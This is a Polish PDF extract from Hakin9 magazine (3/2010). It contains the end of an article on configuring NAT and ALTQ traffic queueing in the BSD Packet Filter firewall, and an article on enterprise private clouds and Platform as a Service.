Zabezpieczenia dla ambitnychCzy słyszeliście kiedykolwiek o tłumaczeniu adresów sieciowych, nazywanym też po prostu NAT (ang. Network Address Translation)? Zapewne tak, a jeśli ktokolwiek nie miał nigdy do czynienia z tym zjawiskiem już tłumaczę. Otóż polega to na umożliwieniu wielu hostom znajdującym się w lokalnej sieci dostępu do Internetu, wykorzystując w tym celu jeden numer IP. No dobrze ale jak to jest możliwe? Istnieją dwa sposoby, a mianowicie poprzez router lub pojedynczy komputer, przez który przechodzi cały ruch sieciowy. NAT sprawia, że z Internetu może korzystać większa liczba komputerów, przy wykorzystaniu mniejszej liczby adresów IP. Jest to możliwe, ponieważ prywatne adresy osób z lokalnej sieci są dynamicznie tłumaczone na adresy zewnętrzne. Choć wydaje się to niezwykle skomplikowane, efekt końcowy jest prosty do zrozumienia. Wystarczy wyobrazić sobie sieć składającą się z kilkunastu komputerów. Aby jednak mogła ona łączyć się ze światem, czyli wyjść poza pewien obręb (np. danego budynku, jak ma to miejsce chociażby w przypadku bloków mieszkalnych) i połączyć się z Internetem, każdy host musi być podłączony do głównego komputera. Choć każdy z komputerów posiada swój własny numer IP, tak naprawdę jest on tłumaczony na adres zewnętrzny przez NAT. Oczywiście rozwiązanie takie ma określone zalety i wady. Do najważniejszych

Page 64: Usługi Informatyczne dla Firm | Outsourcing IT | AKTE · 2020. 4. 30. · MICHAŁ KURATCZYK Cloud computing robi od pewnego czasu zawrotną karierę medialną. Tematem zajmują się

OBRONA

64 HAKIN9 3/2010

ROZSĄDEK TO BEZPIECZEŃSTWO

65 HAKIN9 3/2010

plusów należy zaliczyć oszczędniejszą gospodarkę publicznymi adresami IP, których zasób nieustannie się kurczy. Drugą ważną kwestią jest zwiększenie prywatności i anonimowości. Największą wadą wymienianą przez użytkowników są występujące niekiedy problemy z usługami peer to peer, czyli bezpośrednią wymianą plików.

Packet Filter umożliwia również filtrowanie pakietów NAT. Pamiętajmy jednak, że sprawdzanie ich następuje już po tłumaczeniu. Sprawia to, że program nie dostrzega prawdziwego adresu i portu danego pakietu, lecz wersję przetłumaczoną. Ponieważ system translacji jest powszechnie stosowany, zagadnienie wzmacniania zapory oraz nakładanie szczególnego nacisku na tłumaczenie adresów sieciowych jest niezwykle istotne. Gdzie jest wykorzystywany NAT? Przede wszystkim wszędzie tam, gdzie mamy do czynienia z routerami i bramami sieciowymi. Mogą to być sieci na blokowiskach, w firmach, na uczelniach itp. Aby jednak rozpocząć kontrolowanie pakietów, należy najpierw uruchomić usługę przekazywania numerów IP. Możemy to zrobić na dwa sposoby. Pierwsza metoda włącza IP forwarding dynamicznie podczas działania systemu. W tym celu w konsoli wydajemy polecenie sysctl net.inet.ip.forwarding=1. Oczywiście jeżeli korzystamy z IPv4, ponieważ dla IPv6 wpisujemy sysctl net.inet6.ip6.forwarding=1. Przypisana na końcu polecenia cyfra jeden oznacza uruchomienie usługi. Jeżeli istnieje konieczność uruchomienia przekazywania pakietów IP wraz ze startem systemu, należy powyższe polecenia dodać do pliku /etc/sysctl.conf (pomijając początkowe polecenie sysctl). Najprawdopodobniej zmienne te będą znajdowały się już w tym pliku, jednak w postaci komentarza. W takiej sytuacji wystarczy usunąć z początku odpowiedniej linii znak #. Teraz możemy przystąpić do właściwej konfiguracji.

Na początku jednak zwróćmy uwagę na umiejscowienie reguł NAT. Jest to szósta sekcja w pliku konfiguracyjnym /etc/pf.conf, co oznacza, że znajdują się one przed właściwymi regułami. A teraz czas na składnię. Każda reguła NAT zaczyna się od deklaracji, która nadaje jej taki właśnie charakter, czyli jak łatwo się domyśleć nat .

Następnie może znajdować się parametr pass oznaczający, że tłumaczone pakiety mają być przepuszczane przez filter oraz log, czyli logowanie za pomocą pflogd. Domyślnie logowany jest pierwszy pakiet, jednak jeśli zależy nam, aby dotyczyło to wszystkich wpisujemy log (all). Nie wolno także zapomnieć o wskazaniu odpowiedniego interfejsu, na którym pakiety są tłumaczone (on nazwa_interfejsu). Teraz podobnie jak w regułach omawianych we wcześniejszej części tekstu określamy adres źródłowy oraz port źródłowy, poprzedzając go słowem from. To my decydujemy czy będzie to pojedynczy adres IP, blok sieci, domena, tabela lub lista. Następny etap to wskazanie adresu docelowego pakietu oraz port (poprzedzając je słowem kluczowym to). To właśnie ten adres będzie poddany translacji. W tym miejscu można wpisać np. to any. Po określeniu źródła i celu, należy uzupełnić regułę dodając -> i określając typ tzw. puli adresów. W tym miejscu możemy wstawić konkretny adres IP, jednak znacznie wygodniejsze jest wskazanie zewnętrznego interfejsu, ponieważ dzięki temu nie będziemy musieli modyfikować reguły, gdy zmieni się adres IP danego interfejsu. Gdyby okazało się, że koniecznie musimy ustawić wyjątek, wystarczy poprzedzić (lub wpisać nową) regułę słowem no. Do sprawdzania stanu NAT wykorzystujemy znane już narzędzie pfctl z parametrami -s state.

Poruszając temat routera lub komputera pełniącego taką funkcję, warto poświęcić odrobinę czasu na odpowiednie ustawienie kolejkowania, ponieważ niepoprawna konfiguracja może negatywnie wpłynąć na osiągi i wydajność sieci. Choć działania związane z kolejkowaniem pozornie wydają się przynosić rezultaty jedynie dla pakietów wychodzących nie jest to do końca prawdą. Możemy także odpowiednio kontrolować kolejki na wewnętrznym interfejsie routera. Pewnie zastanawiacie się co podejmuje decyzje dotyczące tego, która kolejka będzie aktualnie przetwarzana. Otóż odpowiada za to tzw. scheduler, czyli algorytm kolejkowania. Domyślnie w przypadku np. OpenBSD stosowana jest zasada pierwszy wszedł, pierwszy wyjdzie (FIFO). A co jeśli kolejka jest zbyt długa? Zastosowane rozwiązanie jest banalnie proste, ostatnie pakiety zostają

odrzucone. Zasadniczo wyróżniamy dwa modele kolejkowania. Pierwszy bazuje na klasach (ang. Class Based Queueing – CBQ), natomiast drugi na priorytetach (ang. Priority Queueing – PRIQ). Pytanie zasadnicze brzmi: Jaka jest między nimi różnica? Otóż pierwszy algorytm dzieli dostępne pasmo na kilka kolejek (klas), a następnie dokonuje segregacji na podstawie chociażby adresów i portów. Obserwujemy tu pewną hierarchię, czego dowodem jest kolejka główna (Root, z pasmem np. 4 Mbps) i podrzędne (pasmo jest rozdzielone, np. queue 1 Mbps, queue 2 Mbps, queue 512 Kbps oraz queue 512 Kbps). Oczywiście jest to jedynie przykład rozdzielenia pasma. Ciekawą właściwością takiego rozwiązania jest możliwość przydzielenia określonych wartości dla poszczególnych usług danych kolejek, np. ssh. Oczywiście suma przepustowości poszczególnych subkolejek nie może przekraczać pasma przydzielonego kolejce nadrzędnej.

Nieco inaczej odbywa się dzielenie łącza w przypadku kolejkowania priorytetowego. Tutaj także mamy główną kolejkę oraz podrzędne, jednak ma przypisaną określony stopień ważności. Wyższe priorytety zawsze są przetwarzane jako pierwsze. Należy bardzo rozważnie nadawać poszczególnym kolejkom priorytety, ponieważ zły przydział może spowodować zachwianie stabilności. W tym wypadku dopiero kiedy w kolejce o wyższym priorytecie skończą się pakiety (albo będzie zakończona jej obsługa), zostaną rozpoczęte działania na kolejnej, która będzie miała najwyższy priorytet z pozostałych do obsłużenia kolejek. Również w tym wypadku obowiązuje reguła FIFO (w danej kolejce). Wciąż można spotkać w Internecie sprzeczne opinie na temat tego, który ze sposobów kolejkowania jest lepszy. Warto przetestować każdy z nich i sprawdzić czy nasze oczekiwania bardziej spełnia CBQ czy PRIQ. Implementacja kolejkowania, czyli ALTQ (ang. Alternate Queueing) została włączona do podstawowego systemu OpenBSD, FreeBSD itd. ALTQ poza wspomnianymi już metodami CBQ i PRIQ obsługuje także dwa niezwykle przydatne mechanizmy, a dokładnie RED (ang. Random Early Detection) i ECN (ang. Explicit Congestion Notification). Pierwszy z nich

Page 65: Usługi Informatyczne dla Firm | Outsourcing IT | AKTE · 2020. 4. 30. · MICHAŁ KURATCZYK Cloud computing robi od pewnego czasu zawrotną karierę medialną. Tematem zajmują się

OBRONA

64 HAKIN9 3/2010

ROZSĄDEK TO BEZPIECZEŃSTWO

65 HAKIN9 3/2010

to rodzaj systemu wczesnego wykrywania, dzięki któremu można uniknąć przeciążenia. Jeśli kolejka zaczyna się przepełniać (RED nieustannie wywołuje obliczanie różnicy pomiędzy minimum a maksimum jej wielkości), zostają porzucone pakiety z losowo wybranych połączeń. Jest to znacznie lepsze rozwiązanie niż chociażby FIFO, gdyż w tym wypadku zostałyby porzucone wszystkie pakiety. Musimy jednak pamiętać, że RED nie może być używany w przypadku kolejkowania ruchu UDP i ICMP. Powiadomienia o przeciążeniu są natomiast zasługą wspomnianego ECN. To on informuje poszczególne hosty o istnieniu takiej sytuacji.

Ale jak obsłużyć kolejkowanie w przypadku Packet Filtra? Jego konfiguracja znajduje się w pliku /etc/pf.conf. Aby w ogóle zaistniała implementacja, należy ją uruchomić za pomocą opcji altq on. Po niej należy określić na jakim interfejsie ma nastąpić proces kolejkowania. Ponadto dyrektywa ta umożliwia sprecyzowanie typu algorytmu szeregowania (cbq lub priq), maksymalną przepustowość oraz liczbę pakietów w kolejce. Na końcu reguły, w nawiasach klamrowych znajduje się lista podrzędnych kolejek (np. ssh, ftp). Przykładowe polecenie może wyglądać tak: altq on sis0 cbq bandwidth 4Mb qlimit 1024 queue { host1, host2, host3 } . Kiedy mamy już włączone kolejkowanie na danym interfejsie, należy odpowiednio skonfigurować poszczególne kolejki pochodne. Umożliwia to dyrektywa queue. Po dyrektywie koniecznie należy podać nazwę kolejki, której będzie ona dotyczyć. W tym momencie możemy też określić nazwę interfejsu, jednak nie jest to obowiązkowe. Jeśli tego nie zrobimy, zapis będzie dotyczył każdego z dostępnych interfejsów. Kolejne parametry określają kolejno całkowitą przepustowość (np. bandwidth 4Mb)

oraz limit pakietów w kolejce. Jeśli nie sprecyzujemy ile pakietów może znaleźć się w kolejce, zostanie przypisana wartość domyślna (najczęściej pięćdziesiąt). Co ciekawe wartość ta może mieć postać procentową, co znacznie ułatwia dzielenie zasobów. Oczywiście podobnie jak w przypadku głównej kolejki, również tu określamy algorytm szeregowania. Musi on być taki, jak w przypadku nadrzędnej kolejki. Jakie może przyjąć wartości? Takie jak podane przy poleceniu altq , czyli cbq lub priq. Nie są to jednak wszystkie możliwości, a jedynie przykłady. Powszechnie używa się też takich algorytmów jak htb czy hfsc. Stosowanie HFSC jest doskonałym rozwiązaniem, jednak należy zachować szczególną ostrożność, podczas klasyfikowania ruchu (konieczne jest stworzenie domyślnej kolejki). Dlaczego akurat ta metoda? Najważniejszą zaletą tego algorytmu jest jego uniwersalność. Nie tylko pozwala na dzielenie danego pasma, ale też ustawianie priorytetów i minimalizowanie opóźnień. Właściwie HFSC jest poprawionym algorytmem HTB, a dokładniej rzecz ujmując wyeliminowano największą wadę HTB, czyli sposób zarządzania niesklasyfikowanymi pakietami (również ARP). Tworzył on ukrytą kolejkę i przepuszczał takie pakiety, w przeciwieństwie do HFSC, który może je odrzucać. Przykładowe polecenie może mieć postać, np. queue host1 bandwidth 256Kb hfsc(upperlimit 4Mb). W przykładzie pojawił się host1. Aby umożliwić mu ruch sieciowy należy odpowiednio przypisać reguły Packet Filtra. W odniesieniu do tego przypadku na końcu reguły dla pakietów przychodzących i wychodzących dodajemy queue host1. W tekście celowo nie został zaprezentowany kompletny kod firewalla, ponieważ najważniejszą rzeczą jest wykonanie ściany ogniowej samodzielnie.

Jedynie wtedy możemy być pewni, że wszystko zostało idealnie dopasowane do siebie. Ponadto tylko w sytuacji, w której tworzymy własny kod, wiemy dokładnie dlaczego zastosowaliśmy akurat takie rozwiązanie i w razie późniejszych innowacji nie będziemy mieli z tym problemów. Podstawą sukcesu w przypadku zabezpieczeń jest wiedza i znajomość oprogramowania, z którym pracujemy. Wiele przykładów i ustawień różnych osób znajduje się w Internecie. Zachęcam także do lektury dokumentacji FreeBSD, OpenBSD i NetBSD (większość można znaleźć w języku polskim).

PodsumowanieW artykule omówiliśmy podstawowe aspekty zabezpieczania systemu z rodziny BSD. W podobny sposób można chronić systemy Linux korzystając chociażby z iptables (omówionego na łamach magazynu hakin9). Celem zaprezentowanego tekstu absolutnie nie było tworzenie kolejnej, szczegółowej dokumentacji, a jedynie nakreślenia zagadnienia i omówienie pewnych nie do końca rozwiniętych w niej wątków. Wybór Packet Filtra nie był przypadkowy, ponieważ systemy BSD niezwykle często wykorzystywane są w sytuacjach, kiedy zachodzi potrzeba kontrolowania ruchu sieciowego. Pamiętajmy jednak, że nawet najdoskonalsze oprogramowanie nie będzie w stanie zaoferować bezpieczeństwa naszym danym, jeśli sami o to nie zadbamy. Najważniejszą bronią administratora jest jego rozwaga podczas zabezpieczania sieci, natomiast oferowane przez twórców dystrybucji rozwiązania z całą pewnością nie ustępują produktom komercyjnym. Wszystko zależy od naszych chęci i umiejętności. Czy zapora sieciowa musi być skomplikowana? Wręcz przeciwnie, może składać się z kilku linii reguł i działać bez zarzutu. Jak osiągnąć doskonałość? Testy, eksperymenty i nieuniknione porażki, na których najwięcej się uczymy. A teraz włącz komputer i zbuduj firewall doskonały!

Listing 3. Przykład nieskomplikowanego użycia Filtra Pakietów

table <przyjazne_adresy_IP> {aaa.aaa.aaa.aaa/yy, bbb.bbb.bbb.bbb/yy}

block in on sis0 all

pass in on sis0 from <przyjazne_adresy_IP> to any

Listing 4. Umożliwienie przeglądania stron internetowych

pass in quick on sis0 proto udp from xxx.xxx.xxx.xxx/yy to any port = 53 keep state

pass in quick on sis0 proto tcp from xxx.xxx.xxx.xxx/yy to any port = 80 fl ags S/SA

keep state

Łukasz CiesielskiAutor z wykształcenia jest dziennikarzem, a także pasjonatem programowania w C/C++, Javie i PHP. W wolnych chwilach zgłębia tajniki systemów z rodziny Linux i BSD. Kontakt z autorem: [email protected]

Page 66: Usługi Informatyczne dla Firm | Outsourcing IT | AKTE · 2020. 4. 30. · MICHAŁ KURATCZYK Cloud computing robi od pewnego czasu zawrotną karierę medialną. Tematem zajmują się

66

PRAKTYKA

HAKIN9 3/2010

Z ARTYKUŁU DOWIESZ SIĘIdea i zastosowanie cloud computing

Czym jest Platform as a Service

Wirtualizacja zasobów IT

CO POWINIENEŚ WIEDZIEĆPodstawowa znajomość procesu produkcji oprogramowania

Definicja dopiero się krystalizuje, ale najważniejszym jej wyróżnikiem jest udostępnianie zasobów IT za

pośrednictwem sieci i pobieranie opłat za stopień ich wykorzystania. Klient nie ponosi nakładów inwestycyjnych z góry i nie musi obawiać się niedoszacowania ani przeszacowania swoich potrzeb. Jednocześnie specjalizacja usługodawcy oraz efekt skali powoduje, że usługi takie powinny być wyższej jakości, a koszty dla klienta niższe, niż gdyby sam utrzymywał środowisko IT. Czy cloud computing jest zatem czymś nowym? I tak i nie. Tak, ponieważ do niedawna nie było takich platform jak Google App Engine czy Amazon EC2. Są to bez wątpienia rozwiązania innowacyjne, dające nowe możliwości. Czy jednak stary, poczciwy, hosting stron WWW nie pasuje do podanej definicji? Pasuje. Podobnie jak odpłatne konta pocztowe w serwisach internetowych, czy aplikacje biznesowe dostępne przez internet. Cloud computing nie jest zatem koncepcją rewolucyjną, a jedynie kolejnym krokiem w ewolucji branży IT. Usługi IT stają się dobrem powszechnym, co pociąga za sobą zmiany w sposobie ich świadczenia.

Różne rodzaje cloud computinguZe względu na olbrzymią pojemność pojęcia cloud computingu, należy wyróżnić kilka jego rodzajów. Po pierwsze, usługodawcą może być

MICHAŁ KURATCZYK

firma zewnętrzna lub dział IT klienta. Mówimy wówczas o chmurze publicznej (public cloud ) lub prywatnej (private cloud ).

Po drugie, usługi świadczone w tym modelu mogą dotyczyć jednej z trzech warstw – infrastruktury, platformy programistycznej lub aplikacji biznesowych. Nazywamy je odpowiednio Infrastructure as a Service (IaaS), Platform as a Service (PaaS) lub Software as a Service (SaaS). Przykładem IaaS jest Amazon EC2 – możemy tu wykupić potrzebny nam czas procesorów, miejsce na dyskach i przepustowość sieci. Usługodawca nie wnika w jaki sposób korzystamy z tej infrastruktury, ale odpowiada za jej gotowość do pracy. Google App Engine jest już przykładem usługi PaaS, gdyż usługodawca daje nam konkretne narzędzia, z których możemy korzystać do stworzenia potrzebnej nam aplikacji. Co prawda w dalszym ciągu płacimy za zasoby fizyczne (procesor/pamięć/sieć/dysk), ale jednak dostajemy już nie tylko infrastrukturę, ale kompletne, ustandaryzowane, środowisko do rozwoju i działania aplikacji – możemy co prawda wybrać jeden z dwóch języków (Java, Python), ale nie możemy zastosować dowolnej dostępnej na rynku technologii. O Software as a Service, ostatnim wariancie cloud computing, mówi się dużo już od dłuższego czasu. Jest to po prostu udostępnianie aplikacji biznesowych w formie usługi, a nie licencji. Dzięki temu klient nie ponosi kosztów

Stopień trudności

Enterprise Private CloudsCloud computing robi od pewnego czasu zawrotną karierę medialną. Tematem zajmują się nie tylko tytuły poświęcone branży IT, ale także biznesowe i popularno-naukowe. Nawet Dilbert wspomina już o cloud computing. Warto zatem zastanowić się czym jest, a czym nie jest cloud computing i jak wpłynie na tworzenie i zarządzanie oprogramowaniem.

Page 67: Usługi Informatyczne dla Firm | Outsourcing IT | AKTE · 2020. 4. 30. · MICHAŁ KURATCZYK Cloud computing robi od pewnego czasu zawrotną karierę medialną. Tematem zajmują się

67

ENTERPRISE PRIVATE CLOUDS

HAKIN9 3/2010

początkowych, nie musi utrzymywać swojego środowiska, ani zatrudniać specjalistów do zarządzania nim. W tym wypadku podstawą rozliczenia jest zazwyczaj ogólna ilość użytkowników lub ilość równolegle otwartych sesji.

Przykładem oprogramowania dostarczanego wyłącznie w modelu SaaS jest Google Apps, zaś dostępnego zarówno w modelu tradycyjnym (licencyjnym), jak i w modelu SaaS jest Oracle CRM i jego wersja SaaS – CRM On Demand.

Enterprise private cloudsEnterprise private cloud, to nic innego jak prywatny cloud danego przedsiębiorstwa, udostępniający usługi IT działom biznesowym i partnerom (spółkom zależnym, itp). Z punktu widzenia programistów, najciekawszym wariantem takiej chmury, jest Platform as a Service.

Korzystanie z prywatnego PaaS oznacza dla programistów kilka zmian, w porównaniu do tradycyjnego modelu. Wspomniałem już, że w modelu PaaS programista jest ograniczony do narzędzi i technologii dostępnych na platformie. Może to budzić niechęć ze względu na osobiste preferencje, ale daje wymierne korzyści biznesowe firmie, dla której przecież pracujemy. Standaryzacja i konsolidacja środowisk pozwala wyraźnie obniżyć koszty sprzętu, licencji, pomocy technicznej oraz personelu. Oczywiście powinna istnieć możliwość dodania określonej technologii do zestawu narzędzi dostępnych na platformie, ale nie ma co liczyć na pełną dowolność, jak w przypadku zupełnie niezależnych projektów i środowisk. W zamian programista otrzymuje jednak wiele korzyści. Po pierwsze dostaje możliwość prostego tworzenia dodatkowych środowisk na żądanie. Z założenia chmura powinna być łatwa w rozbudowie i powinna pomieścić dodatkowe instancje, jeśli ich potrzebujemy. Co więcej, tworzenie środowisk powinno być zautomatyzowane, a zarządzanie nimi oddane w ręce użytkowników. Programista może zatem zażądać utworzenia nowego środowiska, czy to z

jakiegoś wzorca (np. czyste środowisko z aplikacją w wersji X), czy też poprzez skopiowanie innego środowiska (potrzebuję identycznego środowiska jak Y, żeby zdiagnozować problem, który występuje tylko tam). Środowisko takie powinno zostać utworzone w czasie minut lub godzin, a nie dni czy tygodni, jak to często bywa, gdy utworzenie środowiska wymaga akceptacji przełożonych, zamówienia sprzętu i ręcznej pracy. Idąc tym tropem, możemy także przenieść środowiska testowe ze stacji roboczych na platformę PaaS, dzięki czemu nie musimy sami nimi zarządzać, możemy przywracać je do poprawnego stanu, gdy coś pójdzie nie tak, a wszystkie zmiany konfiguracyjne (np. podłączenia do baz danych, adresy serwerów aplikacji czy web services) są centralnie zarządzane i nie musimy się tym zajmować. Warto także zaznaczyć, że prywatny PaaS nie ogranicza możliwości debugowania systemu – o ile publiczny dostawca niekoniecznie udostępni nam wszelkie możliwości diagnostyczne, o tyle prywatny PaaS daje możliwość włączenia odpowiednich opcji i podłączenia się z narzędziami diagnostycznymi.

Zmiany organizacyjneCloud computing, zwłaszcza prywatny, wymaga przede wszystkim zmiany sposobu myślenia o zasobach IT. Tak jak SOA nie jest technologią opartą na web services , tylko architekturą wymagającą zmiany sposobu i szerszego spojrzenia na tworzenie i ponowne wykorzystanie aplikacji, tak cloud computing nie wymaga żadnej szczególnej technologii, ale przede wszystkim zmiany w procesie zarządzania zasobami. Technologia jest rzeczą wtórną, która usprawnia ten proces i umożliwia zapewnienie dostępności, wydajności i bezpieczeństwa w tych nowych warunkach. O ile korzystanie z usług publicznych dostawców cloud computing może być (i często jest) decyzją oddolną, o tyle projekt budowy wewnętrznej platformy PaaS w firmie, wymaga konkretnych nakładów początkowych, zmiany procesu zakupów sprzętu i licencji oraz rozliczania innych działów za korzystanie z nich. Należy zwrócić uwagę, że wiele aplikacji, ze względu na poufność przetwarzanych danych lub inne uwarunkowania, nie może być uruchomiona na publicznych środowiskach, dlatego korzystanie z

Rysunek 1. Schemat koncepcyjny architektury IaaS/PaaS

����������� ����������� �����������

���������������������������� �����������

���������������

�������������������

�����������������������������������

������������������

��������������

����������������������������������

�����������������

�������������

�������

�������

������

���������������

�����������

��������

����������

����������

����������

�����������

�����������

�������������

��������

Page 68: Usługi Informatyczne dla Firm | Outsourcing IT | AKTE · 2020. 4. 30. · MICHAŁ KURATCZYK Cloud computing robi od pewnego czasu zawrotną karierę medialną. Tematem zajmują się

68 HAKIN9 3/2010 69 HAKIN9 3/2010

nich decyzją oddolną powinno być zgodne z polityką bezpieczeństwa firmy, a budowa prywatnej platformy może być niezbędna. Na czas budowy takiego środowiska można z kolei skorzystać z publicznego IaaS, w którym od ręki będziemy mogli wynająć sprzęt potrzebny do rozpoczęcia projektu.

Techniczna realizacja PaaSUdostępnianie platformy aplikacyjnej jako usługi oznacza przede wszystkim zmianę modelu sprzedaży/współpracy między działem utrzymania systemów, a działami rozwoju i utrzymania aplikacji. Niemniej jednak, aby zapewnić sprawne działanie takiej platformy, co jest warunkiem koniecznym osiągnięcia sukcesu, przydatne są odpowiednie rozwiązania techniczne. Jeśli tworzenie środowisk potrzebnych do rozwoju aplikacji będzie trwało zbyt długo lub utworzone środowiska będą wymagały ręcznych poprawek, programiści powrócą do rozwijania kodu na własnych komputerach. Jeśli wzrost obciążenia w jednej aplikacji będzie powodował spadek wydajności całej platformy, menedżerowie poszczególnych aplikacji będą żądać separacji środowisk, co zniweczy korzyści wynikające z konsolidacji.

WirtualizacjaMożna stworzyć środowisko bez problemu spełniające definicję PaaS nie korzystając z żadnego rozwiązania wir tualizacyjnego, ale zastosowanie takiej technologii pozwala osiągnąć znacznie większe korzyści z wdrożenia plat formy PaaS. Wir tualizacja pozwala zwiększyć utylizację zasobów sprzętowych, zachować ciągłość pracy w czasie prac konserwacyjnych (np. wymiana sprzętu) oraz pomaga zarządzać środowiskami. Pozwala tworzyć wzorcowe instalacje dostępnych na plat formie komponentów, np. komponent baza danych zawierający odpowiednio skonfigurowany system operacyjny z podłączeniem do przestrzeni dyskowych, bazę danych w odpowiedniej wersji i ze wszystkimi poprawkami, narzędzia diagnostyczne

i tak dalej. Po przygotowaniu odpowiednich komponentów, gdy będziemy zaczynać nowy projekt, programista będzie mógł zażądać nowego środowiska ze wszystkimi potrzebnymi komponentami, a po wprowadzeniu niezbędnych zmian wymaganych dla danej aplikacji (np. schematy bazy danych, połączenie z odpowiednim modułem repozytorium kodu), zachować obraz jako wzorcowy dla innych osób pracujących nad tym projektem.

Sprawnie działająca platforma PaaS powinna pozwolić na stworzenie środowisk dla wszystkich zainteresowanych w ciągu kilku godzin.

Warstwa middlewareW warstwie oprogramowania middleware, przydatnych może być kilka funkcji. Po pierwsze klastrowanie z synchronizacją sesji użytkowników, jako podstawowy mechanizm skalowania i zapewniania ciągłości pracy tej warstwy. Po drugie, możliwość jednoczesnego korzystania z różnych wersji tych samych bibliotek, bowiem nasza aplikacja niekoniecznie będzie działać na zupełnie niezależnym środowisku. Instalacja nowej aplikacji wraz z zależnościami nie może powodować zmiany wersji biblioteki używanej przez już działającą aplikację. Kolejna sprawa, to możliwość testowego uruchomienia aplikacji na platformie. Dopóki całe środowisko nowej aplikacji jest niezależne – możemy testować aplikację do woli bez udostępniania jej użytkownikom. Jeśli jednak chcemy przeprowadzić ostateczne testy przed upublicznieniem aplikacji na platformie PaaS, musimy mieć możliwość uruchomienia nowej aplikacji tylko dla wybranych użytkowników (testerów). Kolejna kwestia bardzo ułatwiająca zarządzanie tak dynamiczną platformą, z wieloma środowiskami i aplikacjami, to mechanizm skryptowy pozwalający zautomatyzować czynności administracyjne. Nawet jeśli korzystamy z wirtualizacji i możemy tworzyć obrazy wzorcowe, to po każdym skorzystaniu z takiego wzorca, potrzebujemy zmienić kilka parametrów

(adresy, porty i tym podobne). Do tego należy doliczyć późniejsze zmiany, które trzeba w powtarzalny sposób wykonywać na wszystkich środowiskach (np. dodanie nowego data source). Ręczne wykonywanie zmian mogłoby spowodować niespójność środowisk i tym samym zniwelować korzyści wdrożenia PaaS.

Bardzo ciekawym rozwiązaniem, dopiero wchodzącym na rynek, są serwery aplikacji działające bezpośrednio na hypervisorze – bez klasycznego systemu operacyjnego. Takie podejście pozwala nie tylko podnieść wydajność, dzięki lepszemu zarządzania pamięcią (normalnie system operacyjny i JVM częściowo pokrywają się funkcjonalnością w tym zakresie), ale również pozwala wyraźnie uprościć całe środowisko (skoro nie ma systemu operacyjnego, to nie trzeba go konfigurować, optymalizować, ani aktualizować). Dodatkowo uzyskujemy mniejsze obrazy maszyn wirtualnych, gdyż nie zawierają one binariów systemu operacyjnego. Pozwala to obniżyć koszty przestrzeni dyskowych, zaoszczędzić miejsce na urządzeniach backupowych i skrócić czas migracji maszyny wirtualnej między fizycznymi serwerami.

Poza samym kontenerem, warto również zastosować technologię in-memory data grid. Pozwala ona przechowywać duże ilości danych obiektowych (w tym obiekty sesji HTTP) w pamięci operacyjnej, dzięki czemu odciąża kontener JEE. Rozwiązania wyraźnie przyspieszają działanie aplikacji i pozwalają skalować aplikacje praktycznie w nieskończoność.

Warstwa bazy danychPodobnie jak w przypadku serwerów aplikacji, w warstwie baz danych zastosowanie klastrów również pozwala zachować ciągłość pracy i umożliwia skalowanie systemów w razie takiej potrzeby. Kluczowe staje się także zarządzanie przestrzenią dyskową. Zastosowana technologia powinna nie tylko umożliwiać łatwą rozbudowę, ale również równomiernie rozkładać obciążenie między dostępne dyski. W przeciwnym wypadku, w krótkim czasie

PRAKTYKA

Page 69: Usługi Informatyczne dla Firm | Outsourcing IT | AKTE · 2020. 4. 30. · MICHAŁ KURATCZYK Cloud computing robi od pewnego czasu zawrotną karierę medialną. Tematem zajmują się

68 HAKIN9 3/2010 69 HAKIN9 3/2010

mielibyśmy analogiczną sytuację jak z serwerami bez wirtualizacji – gdy do aplikacji przypisane są na stałe określone zasoby sprzętowe, to prawie zawsze część z nich jest przeciążona, a część niedociążona. Podobnie jak w przypadku serwerów, aby w pełni czerpać korzyści z konsolidacji, potrzebujemy zatem warstwy wirtualizacji dla zasobów dyskowych.

Zarządzanie zasobamiW praktycznie każdym systemie, także nie korzystającym z plat formy PaaS, warto korzystać z mechanizmów ograniczania dostępu do zasobów pojedynczym użytkownikom, czy aplikacjom. Użytkownicy nie powinni odczuwać wyraźnego spadku wydajności w sytuacji, gdy jeden z nich generuje skomplikowany raport . W tym wypadku baza danych powinna odpowiednio ograniczyć zasoby dostępne dla sesji tego użytkownika, umożliwiając normalną pracę pozostałym. Zarządzanie zasobami staje się jeszcze ważniejsze, gdy na jednym fizycznym komputerze mogą działać na przykład dwie maszyny wir tualne, każda ze swoim systemem operacyjnym i bazą danych, a każda z baz danych obsługuje kilka różnych aplikacji. Jeśli nie zdefiniujemy odpowiedniej polityki przydziału zasobów, nie będziemy w stanie zapewnić wymaganego poziomu świadczenia usług dla poszczególnych aplikacji.

Cykl życia “chmury”Jednym z głównych założeń cloud computing jest samoobsługa użytkowników. To oni tworzą kolejne środowiska, gdy ich potrzebują, są odpowiedzialni za odpowiednie ich kategoryzowanie (test/produkcja), żądają dodatkowych zasobów, jeśli wiedzą, że będą potrzebne (w sytuacjach nieprzewidzianych za taką rozbudowę odpowiada już dostawca platformy) i wyłączają instancje, których dłużej nie potrzebują. Dostawca chmury PaaS, także prywatnej, musi zatem zapewnić inter fejs do zarządzania środowiskami klienta.

Rozliczanie wykorzystania zasobówZgodnie z definicją, rozliczanie klientów jest opar te o zużycie określonych zasobów. Czynnikami wpływającymi na koszt korzystania z clouda mogą być zarówno wartości techniczne (czas procesora, zużycie sieci, etc), jak i biznesowe – na przykład ilość kampanii marketingowych przeprowadzonych przy użyciu danej aplikacji. Można sobie łatwo wyobrazić sytuację, w której dostępne są również różne tary fy, podobnie jak to jest u operatorów telefonicznych. Opłata składa się zwykle z części stałej (abonamentu) oraz zmiennej – zależnej od wykorzystanych zasobów. W celu minimalizacji kosztów zmiennych, konieczna może się okazać optymalizacja aplikacji – czynność, o której niestety wiele osób zapomniało w dobie wydajnych i często przeszacowanych serwerów (analizy pokazują, że średnie obciążenie serwerów rzadko przekracza 20%).

PodsumowanieBudowa prywatnej chmury Plat form as a Service pozwala osiągnąć cele, do których dąży praktycznie każde przedsiębiorstwo – skrócenie czasu od pomysłu do realizacji (time to market), a co za tym idzie wzrost przychodów. Konsolidacja sprzętu i licencji oraz łatwa dynamiczna rozbudowa zapewnia jednocześnie niższe koszty utrzymania, oraz brak konieczności ponoszenia dużych kosztów na początku każdego projektu. Z punktu widzenia programisty, to przede wszystkim likwidacja barier organizacyjnych i większa swoboda w korzystaniu z zasobów firmy, a jednocześnie mniej czasu straconego na zarządzaniu środowiskami i mniej problemów wynikających z różnic między nimi. Dobrze zrealizowana plat forma powinna zatem przynieść korzyści wszystkim zainteresowanym.

Michał KuratczykPrincipal solution architect, Oracle Polska

